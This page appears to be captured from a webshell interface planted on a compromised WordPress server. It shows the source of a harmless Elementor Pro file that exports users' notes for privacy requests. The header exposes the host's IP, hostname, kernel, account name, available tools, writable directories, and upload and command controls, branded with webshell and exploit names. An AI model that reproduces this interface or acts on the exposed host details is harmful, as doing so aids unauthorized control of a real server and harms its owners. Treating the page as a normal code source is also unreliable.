403Webshell
Server IP : 192.64.112.168  /  Your IP : 3.147.46.174
Web Server : Apache
System : Linux nc-ph-2300-85.bluforrest.com 4.18.0-513.9.1.el8_9.x86_64 #1 SMP Sat Dec 2 05:23:44 EST 2023 x86_64
User : expressoneac ( 1128)
PHP Version : 8.0.30
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/expressoneac/www/wp-content/plugins/elementor-pro/modules/notes/user/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/expressoneac/www/wp-content/plugins/elementor-pro/modules/notes/user/personal-data.php
<?php
namespace ElementorPro\Modules\Notes\User;

use ElementorPro\Modules\Notes\Database\Models\Note;
use ElementorPro\Modules\Notes\Database\Models\User;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Personal_Data {

	const WP_KEY = 'elementor-notes';

	/**
	 * Register actions and hooks.
	 *
	 * @return void
	 */
	public function register() {
		add_filter( 'wp_privacy_personal_data_exporters', function ( $exporters ) {
			return $this->add_exporter( $exporters );
		} );
	}

	/**
	 * Get the data key for the exporter.
	 *
	 * @return string
	 */
	public function get_key() {
		return static::WP_KEY;
	}

	/**
	 * Get the exporter friendly name.
	 *
	 * @return string
	 */
	public function get_title() {
		return esc_html__( 'Elementor Notes', 'elementor-pro' );
	}

	/**
	 * Add the Notes' exporter to the list of exporters.
	 *
	 * @param array $exporters
	 *
	 * @return array
	 */
	private function add_exporter( array $exporters ) {
		$exporters[ $this->get_key() ] = [
			'exporter_friendly_name' => $this->get_title(),
			'callback' => function ( $email ) {
				return $this->export_data( $email );
			},
		];

		return $exporters;
	}

	/**
	 * Export all the notes related to specific email.
	 *
	 * @param string $email
	 *
	 * @return array
	 */
	private function export_data( $email ) {
		$user_id = User::query()
			->where( 'user_email', '=', $email )
			->pluck( 'ID' )
			->first();

		if ( ! $user_id ) {
			return [
				'data' => [],
				'done' => true,
			];
		}

		$data = Note::query()
			->with_trashed()
			->where( 'author_id', '=', $user_id )
			->get()
			->map( function ( Note $note ) {
				return [
					'group_id' => $this->get_key(),
					'group_label' => $this->get_title(),
					'item_id' => "{$this->get_key()}-{$note->id}",
					'data' => [
						[
							'name' => esc_html__( 'ID', 'elementor-pro' ),
							'value' => $note->id,
						],
						[
							'name' => esc_html__( 'Parent ID', 'elementor-pro' ),
							'value' => $note->parent_id,
						],
						[
							'name' => esc_html__( 'Status', 'elementor-pro' ),
							'value' => $note->status,
						],
						[
							'name' => esc_html__( 'Content', 'elementor-pro' ),
							'value' => $note->content,
						],
						[
							'name' => esc_html__( 'Created At', 'elementor-pro' ),
							'value' => $note->created_at->format( 'Y-m-d H:i:s' ),
						],
					],
				];
			} )
			->all();

		return [
			'data' => $data,
			'done' => true,
		];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit